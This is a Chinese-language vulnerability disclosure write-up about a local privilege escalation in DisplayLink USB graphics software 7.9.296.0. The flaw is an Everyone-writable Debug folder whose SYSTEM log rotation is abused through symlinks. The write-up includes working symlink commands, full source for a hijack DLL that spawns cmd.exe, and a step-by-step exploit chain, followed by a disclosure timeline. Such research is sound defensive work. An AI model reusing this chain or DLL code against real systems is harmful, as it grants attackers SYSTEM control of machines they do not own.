一、概述
在DisplayLink USB显卡软件7.9.296.0版本中,我们发现了一个本地特权提升漏洞,该漏洞是由于对日志文件夹的访问权限过大,导致可以滥用DisplayLink USB显卡软件执行特权文件操作,例如创建任意文件。这一漏洞可以被攻击者利用,例如通过对特权DisplayLink进程进行DLL劫持,以获得本地计算机上的SYSTEM特权。
该漏洞已经在最新版本中实现修复,因此建议用户应更新到最新版本。
此外,根据DisplayLink官方说明,7.9版本与Windows 10存在不兼容现象,可能会导致出现稳定性问题。
二、漏洞概述
在使用Windows笔记本进行配置审查时,我通常会使用Clément Labro(@itm4n)的PrivescCheck工具检查其中是否存在普通的权限提升技术。
在PrivescCheck中,列出了一些可修改的路径,其中包括C:Program FilesDisplayLink Core SoftwareDebug
这一路径。该路径允许Everybody进行写入、删除、写入属性、调试等权限。因此,对于所有用户来说,似乎对于C:Program FilesDisplayLink Core SoftwareDebug
文件夹都具有非常大的权限。
那么,这个程序到底是什么呢?我们可以查看services.msc
,以获得更多信息:
最终我们得知,这个服务是显卡软件的一部分,可以自动运行,并且会以SYSTEM权限运行。
如果DisplayLink软件利用这个Debug文件夹中的文件执行特权操作,那么这将可能会成为一个本地权限提升的漏洞利用路径。
在我同事Clément Lavoillotte的帮助下,我成功发现并利用了这个漏洞,感谢他提供的关于Windows特权文件操作滥用的介绍文章。
三、漏洞利用探索过程
我使用Windows 10 1909虚拟机环境进行测试,在上面安装了相同版本的DisplayLink。
在进行配置审查时,那台Windows笔记本电脑上面使用的是DisplayLink 7.9.296.0版本。这是一个旧版本,目前已经不在官网下载页面上列出了。
通过查找页面历史镜像,可以找到这个旧版本的下载链接。
3.1 过度的访问权限
在安装软件之后,我们来查看一下Debug文件夹的权限:
值得关注的是,Everybody
对这个文件夹具有完全控制权。
如果在这个文件夹中包含了敏感文件(例如:DLL文件),我们便可以对其进行修改,从而将恶意代码以SYSTEM身份运行。接下来,我们来查看这个文件夹中的内容:
其中只有日志文件,因此,没有直接的方法来实现特权提升。但是,我们观察到其中包含.log
和.old.log
文件,这表明日志可能会进行轮换。而正如Clément在他的文章中所解释的那样,我们可以利用日志轮换来实现任意文件创建。
3.2 日志轮换
我们使用Procmon来观察日志轮换:
在启动时,DisplayLinkManager.exe
似乎会进行以下操作:
1、打开DisplayLinkManager.log
日志文件;
2、检查该日志文件(可能是日志内容,或者文件大小)是否满足条件;
3、如果符合条件,则进行日志轮换:
(1)删除DisplayLinkManager.old.log
文件(如果存在);
(2)将DisplayLinkManager.log
重命名为DisplayLinkManager.old.log
;
(3)创建一个新的DisplayLinkManager.log
。
如我们所见,上述操作都是以SYSTEM用户身份执行的。我们查看了事件的详细信息,确认在这里并不是模拟用户进行的操作。
由于DisplayLink Manager在访问这些文件时并没有模拟用户,因此我们就可以利用这一点,实现任意文件的写入或删除。
3.3 任意文件创建
接下来,我们尝试欺骗DisplayLink Manager,将我们控制的文件移动到特权位置。我们可以使用Google Project Zero开发的SymbolicLink测试工具中的CreateSymlink.exe
来实现这一目标。
可以按照如下方式创建符号链接:
1、从C:Program FilesDisplayLink Core SoftwareDebugDisplayLinkManager.log
到我们要移动的文件;
2、从C:Program FilesDisplayLink Core SoftwareDebugDisplayLinkManager.old.log
到我们要放置文件的位置。
但是,为了成功创建,Debug文件夹必须为空,因为CreateSymlink.exe
程序会将其替换为RPC Control
的挂载点。如果我们尝试删除Debug文件夹中存在的日志文件,会产生以下错误:
尽管我们可以完全控制文件夹及内容,但是由于日志文件是由DisplayLink Manager进程打开的,因此无法删除这些内容。并且,我们无法停止DisplayLink Manager进程,因为它们是以SYSTEM身份运行,而我们仅仅是普通用户的权限。
那么,应该如何绕过呢?由于我们可以完全控制Debug文件夹,因此也可以对其ACL进行修改。例如,我们可以将其修改为SYSTEM对该文件夹及内容没有修改权限:
现在,在重启计算机后,DisplayLink Manager将无法在该文件夹中打开日志文件,随即我们就可以将其删除。我们还可以删除DisplayLinkUserAgent.log
。该文件由DisplayLink用户代理应用程序打开,而这个应用程序也是以SYSTEM身份运行。
由于DisplayLink UI Systray应用程序打开了DisplayLinkUI.log
和DisplayLinkUIAddOnApi.log
,该应用程序以当前用户的权限运行,因此我们可以在任务管理器中将其关闭,然后删除日志文件。
之后,我们将获得一个干净的并且完全为空的Debug文件夹:
现在,我们就可以尝试漏洞利用过程。我们尝试将我们控制的文件移动到C:WindowsSystem32
。通过观察日志文件的大小,我们注意到,当日志文件超过101KB时将会发生日志轮换,因此我们需要确保自定义文件超过这个大小。
PS C:Temp> ls
Directory: C:Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/24/2020 6:58 PM 192302 arbitrary_file.txt
PS C:Temp> Get-Content -TotalCount 8 .arbitrary_file.txt
"Disposable Heroes"
Bodies fill the fields I see, hungry heroes end
No one to play soldier now, no one to pretend
Running blind through killing fields, bred to kill them all
Victim of what said should be
A servant 'til I fall
PS C:Temp> Get-FileHash -Algorithm SHA256 -Path .arbitrary_file.txt
Algorithm Hash Path
--------- ---- ----
SHA256 B3C1196F2E9A45C71C31BC2B73A216025793A31FED1B0FBE6FD14106FC637C1D C:Temparbitrary_file.txt
创建符号链接:
PS C:SymlinkTestTools> .CreateSymlink.exe -p "C:Program FilesDisplayLink Core SoftwareDebugDisplayLinkManager.log" "C:Temparbitrary_file.txt"
PS C:SymlinkTestTools> .CreateSymlink.exe -p "C:Program FilesDisplayLink Core SoftwareDebugDisplayLinkManager.old.log" "C:WindowsSystem32target_arbitrary_file.dll"
我们的目标文件扩展名为.dll,这是为了证明我们完全可以控制名称。
注意:在创建符号链接时,需确保当前没有其他进程正在访问Debug文件夹。其中包括打开文件夹的explorer.exe窗口,或者带有指向该文件夹的快速访问标签。如果存在上述情况,可能会出现问题。
我们查看在RPC Control
中创建的对象,可以看到我们的“日志文件”。为此,我们使用Sysinternals Suite中的WinObj.exe
。
现在,我们可以注销帐户并重新登录,然后:
PS C:> Get-FileHash -Algorithm SHA256 -Path "C:WindowsSystem32target_arbitary_file.dll"
Algorithm Hash Path
--------- ---- ----
SHA256 B3C1196F2E9A45C71C31BC2B73A216025793A31FED1B0FBE6FD14106FC637C1D C:WindowsSystem32target_ar...
至此,就实现了任意文件写入!我们在Procmon中查看相应条目,其中体现了将我们的任意文件移动到system32文件夹的日志轮换。
3.4 寻找丢失的DLL
那么,我们如何利用这个任意文件漏洞,来提升我们的权限呢?我们想到的第一个思路是尝试将sethc.exe
替换为cmd.exe
,以使用粘滞键弹出Shell。
但是,SYSTEM系统进程没有权限修改这些文件,只有TrustedInstaller
具有这样的权限。当然,在具有特权的情况下,有一些技术可以实现这一目标,但是我们目前还没有成功提升权限,因此也无法利用这样的方法。
所以,我们选择了另外一个思路。我们看到DisplayLink Manager尝试加载但失败的DLL,加载失败的原因在于它们没有位于加载器首先尝试加载它们的位置(根据标准DLL加载顺序)。因此,我们现在的思路是,使用自定义的DLL来替换这些丢失的DLL,可以使用简单的DLL劫持,以SYSTEM的身份执行任意代码。
因此,我们启动ProcMon,搜索DisplayLink Manager未成功加载的DLL:
我们可以看到,DisplayLink Manager尝试加载文件夹中似乎缺失的几个DLL,例如:VERSION.dll
、USERENV.dll
和dbghelp.dll
,这些也是在DLL劫持中的常见怀疑对象。
现在,如果我们成功地创建了一个文件,例如C:Program FilesDisplayLink Core SoftwareUSERENV.dll
,那么就可以以SYSTEM身份执行代码。上述之中的任何一个DLL都可以作为目标,而我通常会选择其中的USERENV.dll
。
为了创建恶意DLL,我们首先来看看Display Manager从USERENV.dll
导入的函数。为此,我将使用CFF Explorer。
通过查看,我们发现从USERENV.dll
导入了几个函数,例如wit
、DestroyEnvironmentBlock
、LoadUserProfileW
、UnloadUserProfile
、LoadUserProfileA
和CreateEnvironmentBlock
。
随后,我们可以创建一个导出这些函数的DLL,但实际上会调用我们想要执行的命令。受到DLL劫持这篇文章的启发,我的代码实现如下:
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("cmd.exe", SW_NORMAL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) void DestroyEnvironmentBlock()
{
WinExec("cmd.exe", SW_NORMAL);
}
extern "C" __declspec(dllexport) void LoadUserProfileW()
{
WinExec("cmd.exe", SW_NORMAL);
}
extern "C" __declspec(dllexport) void UnloadUserProfile()
{
WinExec("cmd.exe", SW_NORMAL);
}
extern "C" __declspec(dllexport) void LoadUserProfileA()
{
WinExec("cmd.exe", SW_NORMAL);
}
extern "C" __declspec(dllexport) void CreateEnvironmentBlock()
{
WinExec("cmd.exe", SW_NORMAL);
}
在这里,我只是调用进程使用的每个函数,并使其执行cmd.exe
。接下来,我们对其进行编译和植入。
注意:在进行劫持时,需要静态编译DLL。
我们的DLL需要超过101KB时才能触发日志轮换,因此,如果文件太小,我们可以使用空字节对其进行填充。
四、完整漏洞利用链
接下来,可以将上面的所有内容串联起来了:
1、修改C:Program FilesDisplayLink Core SoftwareDebug
的ACL,禁用SYSTEM的修改权限;
2、重新启动系统;
3、终止DisplayLinkUI.exe
进程;
4、清空C:Program FilesDisplayLink Core SoftwareDebug
文件夹;
5、使用CreateSymlink.exe
,创建从C:Program FilesDisplayLink Core SoftwareDebugDisplayLinkManager.log
到恶意DLL的符号链接;
6、使用CreateSymlink.exe
,创建从C:Program FilesDisplayLink Core SoftwareDebugDisplayLinkManager.old.log
到C:Program FilesDisplayLink Core SoftwareUSERENV.dll
的符号链接;
7、注销用户会话,然后重新登录。
8、成功实现漏洞利用。
至此,我们就获得了SYSTEM Shell。在这里,我们可以看到实际弹出了两个cmd.exe Shell,这是因为我们的恶意DLL是由DisplayLink Manager(以SYSTEM运行)和DisplayLink UI Systray(以当前用户运行)加载的。因此,我们的Payload会执行两次。
其次,我们很幸运能在桌面上弹出一个Shell。这是因为DisplayLink Manager在我们的会话中启动一个进程,然后加载DLL。因此,命令行就可以在我们的图形化Windows会话中弹出。
如果它在session 0中运行,cmd.exe就不会出现在我们的桌面上,当然,在这种情况下我们的Payload仍然可以执行,但我们可能需要更复杂的Payload才能在用户会话中创建进程。
五、总结
通过这一漏洞的利用,我们在客户端的计算机上找到了本地权限提升的路径,而这一漏洞利用不会受到任何配置的干扰。
在后续版本中,Debug文件夹已经不再存在,开发者通过调整安装文件夹中的结构来规避了存在问题的ACL。
六、时间节点
2020年4月23日 通知厂商软件的7.9版本中存在漏洞,但7.9以后的版本似乎没有受到影响。
2020年4月23日 收到厂商回复,表示7.9版本与Windows 10不兼容,并且存在潜在的不稳定性,建议避免在Windows 10上使用该软件。
2020年4月28日 收到GPG密钥,用于将加密后的安全建议发送至DisplayLink安全团队。
2020年4月29日 向DisplayLink安全团队发送安全建议。
2020年4月30日 DisplayLink安全团队确认收到安全建议。
2020年5月15日 DisplayLink确认7.9以上版本不受影响。
2020年7月1日 发布文章。